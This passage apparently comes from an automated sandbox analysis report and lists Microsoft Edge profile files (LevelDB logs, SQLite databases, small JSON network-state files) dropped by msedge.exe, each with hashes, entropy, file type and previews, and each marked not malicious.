Preview:	SNSS.......F.o............F.o......."F.o............F.o........F.o........G.o........G.o.....!..G.o................................F.o.G.o.1..,...G.o.$...7eeb8961_648e_4378_9e5b_7c304e5336f5...F.o........G.o.....VZS........F.o....F.o........................F.o.....................5..0...F.o.&...{46F3A197-DB49-410A-81B3-94975C835573}.....F.o...........F.o........................G.o............G.o.........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x........L..['...L..['.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	353
Entropy (8bit):	5.147966739730512
Encrypted:	false
SSDEEP:	6:HHV4q2PN723oH+Tcwt7Uh2ghZIFUt8YHsZmw+YHMkwON723oH+Tcwt7Uh2gnLJ:nWvVaYebIhHh2FUt8ks/+kM5OaYebIh9
MD5:	BF5678E7AFF9CC5549A70756A2147EC2
SHA1:	C6D3E398D5B14E4A1A7A8D2BF5C7B9DB2C92E11B
SHA-256:	9166241845C3B0106D197BFC2867EB35C0CB2F64320DB1037C84D73564948131
SHA-512:	D05BE7781C0C588F8BDEBB23DFD6FF783514B899F689C5085B1405D45729E06286D2C8F782B905E833D7DDEC592861B4A8D51D7F6DD7E10F3431A7EC5A6446DF
Malicious:	false
Preview:	2024/11/20-12:57:33.877 e90 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/20-12:57:33.878 e90 Recovering log #3.2024/11/20-12:57:33.878 e90 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	353
Entropy (8bit):	5.147966739730512
Encrypted:	false
SSDEEP:	6:HHV4q2PN723oH+Tcwt7Uh2ghZIFUt8YHsZmw+YHMkwON723oH+Tcwt7Uh2gnLJ:nWvVaYebIhHh2FUt8ks/+kM5OaYebIh9
MD5:	BF5678E7AFF9CC5549A70756A2147EC2
SHA1:	C6D3E398D5B14E4A1A7A8D2BF5C7B9DB2C92E11B
SHA-256:	9166241845C3B0106D197BFC2867EB35C0CB2F64320DB1037C84D73564948131
SHA-512:	D05BE7781C0C588F8BDEBB23DFD6FF783514B899F689C5085B1405D45729E06286D2C8F782B905E833D7DDEC592861B4A8D51D7F6DD7E10F3431A7EC5A6446DF
Malicious:	false
Preview:	2024/11/20-12:57:33.877 e90 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/20-12:57:33.878 e90 Recovering log #3.2024/11/20-12:57:33.878 e90 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.215597852561722
Encrypted:	false
SSDEEP:	12:n7IvVaYebvqBQFUt8kA/+kR5OaYebvqBvJ:neVaYebvZg8k6DOaYebvk
MD5:	8970DE2A188A42D656FBEE0E00039CBD
SHA1:	9804048D3069635E7AC6562CC904BE5B445BDA30
SHA-256:	57CCA3284C96A0D423A29BD4F611FF034AAEB602AB29B7A1BC3BCB6BF610C6DC
SHA-512:	3E79E3858DA0027A1C77455ED01BE5540458B8B5772D9F24392BEFCA488F146B07591559AB0AE258799D63B29111BA8670441153EF11CADAE3CC98C3BF480FFB
Malicious:	false
Preview:	2024/11/20-12:57:35.324 1e90 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/20-12:57:35.330 1e90 Recovering log #3.2024/11/20-12:57:35.339 1e90 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.215597852561722
Encrypted:	false
SSDEEP:	12:n7IvVaYebvqBQFUt8kA/+kR5OaYebvqBvJ:neVaYebvZg8k6DOaYebvk
MD5:	8970DE2A188A42D656FBEE0E00039CBD
SHA1:	9804048D3069635E7AC6562CC904BE5B445BDA30
SHA-256:	57CCA3284C96A0D423A29BD4F611FF034AAEB602AB29B7A1BC3BCB6BF610C6DC
SHA-512:	3E79E3858DA0027A1C77455ED01BE5540458B8B5772D9F24392BEFCA488F146B07591559AB0AE258799D63B29111BA8670441153EF11CADAE3CC98C3BF480FFB
Malicious:	false
Preview:	2024/11/20-12:57:35.324 1e90 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/20-12:57:35.330 1e90 Recovering log #3.2024/11/20-12:57:35.339 1e90 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\20a60e92-58d0-4891-ab49-ed8eeb1b9983.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\3ad76fa5-a62b-4411-a06d-b395c3bc9cc9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\3fcf97cd-2696-474a-802e-469b1668891f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3d301.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\b7384738-31c5-4248-92b8-ef1f3f03108b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.188169100022545
Encrypted:	false
SSDEEP:	12:nh+vVaYebvqBZFUt8kav/+kOWV5OaYebvqBaJ:nWVaYebvyg8ka/lOaYebvL
MD5:	84A52132E57C770AD0A648E7960C6423
SHA1:	3729C76431E5859E55308303C0638DCA412A561D
SHA-256:	B31FDA38AA761D160DFB6EC6C84417395EACB1AC657E016F76885CD617030207
SHA-512:	22E0D2138BC5591CD7F58B2A80E10AE42EF849087A6BAEC419FA26A57D6A62C31BF2550B35B3D7EDDBFF78C2AFAF71BBE52CF739ED9C681D71FAC93CE9D740ED
Malicious:	false
Preview:	2024/11/20-12:57:53.420 1cac Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/20-12:57:53.421 1cac Recovering log #3.2024/11/20-12:57:53.424 1cac Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.188169100022545
Encrypted:	false
SSDEEP:	12:nh+vVaYebvqBZFUt8kav/+kOWV5OaYebvqBaJ:nWVaYebvyg8ka/lOaYebvL
MD5:	84A52132E57C770AD0A648E7960C6423
SHA1:	3729C76431E5859E55308303C0638DCA412A561D
SHA-256:	B31FDA38AA761D160DFB6EC6C84417395EACB1AC657E016F76885CD617030207
SHA-512:	22E0D2138BC5591CD7F58B2A80E10AE42EF849087A6BAEC419FA26A57D6A62C31BF2550B35B3D7EDDBFF78C2AFAF71BBE52CF739ED9C681D71FAC93CE9D740ED
Malicious:	false
Preview:	2024/11/20-12:57:53.420 1cac Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/20-12:57:53.421 1cac Recovering log #3.2024/11/20-12:57:53.424 1cac Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	329
Entropy (8bit):	5.206111819408073
Encrypted:	false
SSDEEP:	6:HHdgN4q2PN723oH+TcwtpIFUt8YHdgNJZmw+YHdgNDkwON723oH+Tcwta/WLJ:nOOvVaYebmFUt8kOX/+kOF5OaYebaUJ
MD5:	8E2A591ED93551256D71E66EFE541F2D
SHA1:	BD07F72D4B37D4F9DF5185E21F4BC93D9C8F3711
SHA-256:	AD75A62EEF3C3D59D75B90418AD33BCF48E354458D5BA547067261448DECCCF4
SHA-512:	3ABE84E575CB5E1912E91AFF3436DCC64E5B2492E0A3F4A40D60E7D36C3470095B1AEF3600207B4FBDCBB828E3D8DAAD7DF3C470DFBA2D6584493971A843F9E2
Malicious:	false
Preview:	2024/11/20-12:57:33.821 194 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/20-12:57:33.821 194 Recovering log #3.2024/11/20-12:57:33.821 194 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	329
Entropy (8bit):	5.206111819408073
Encrypted:	false
SSDEEP:	6:HHdgN4q2PN723oH+TcwtpIFUt8YHdgNJZmw+YHdgNDkwON723oH+Tcwta/WLJ:nOOvVaYebmFUt8kOX/+kOF5OaYebaUJ
MD5:	8E2A591ED93551256D71E66EFE541F2D
SHA1:	BD07F72D4B37D4F9DF5185E21F4BC93D9C8F3711
SHA-256:	AD75A62EEF3C3D59D75B90418AD33BCF48E354458D5BA547067261448DECCCF4
SHA-512:	3ABE84E575CB5E1912E91AFF3436DCC64E5B2492E0A3F4A40D60E7D36C3470095B1AEF3600207B4FBDCBB828E3D8DAAD7DF3C470DFBA2D6584493971A843F9E2
Malicious:	false
Preview:	2024/11/20-12:57:33.821 194 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/20-12:57:33.821 194 Recovering log #3.2024/11/20-12:57:33.821 194 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2677510644415781
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkM0SA1LyKOMq+8iP5GDHP/0jMVumOO:Kq+n0J091LyKOMq+8iP5GLP/0k
MD5:	0E858A324E280D341D3474DEBC1D4863
SHA1:	89C44026E56F4ADBC5AC6BF3CB73FB7ACEB60C0E
SHA-256:	1120FDF20B5093F3F4F167911435A209BDFD04E6DDDDE003953CFF9C4EDE776A
SHA-512:	95E505A64E65A85ADBC4C5F150A2712AC7B3EFC128D6CC631DA9936EC6CC93B870390C1574B52DC29BE5BD65787EB52B2F12E211F3AADC7F4C7063CDDCDAED8E
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.46679882295910996
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0iF:v7doKsKuKZKlZNmu46yjx0w
MD5:	448C88FB78A9AF864BD0CA28C124C313
SHA1:	2A71CBF52D7BCC8C8EF920667BB7D718BAC5A52D
SHA-256:	D2A2FDC3DEED4BEE0CE210F64F7AF2E279CF03A14670A57EDE4B5F5B3DE8584E
SHA-512:	CA7EEE1BEA3CEBB60E4B1111FBA0D7C4E5B60BD4ECDF6902B36E203D8D84341B658AE4A4BF5F245397DBB535C57D74E25A26E0BAE3A19AE2D88140F04C34B606
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b3c81739-dac9-47aa-9d74-5216752ec4f8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

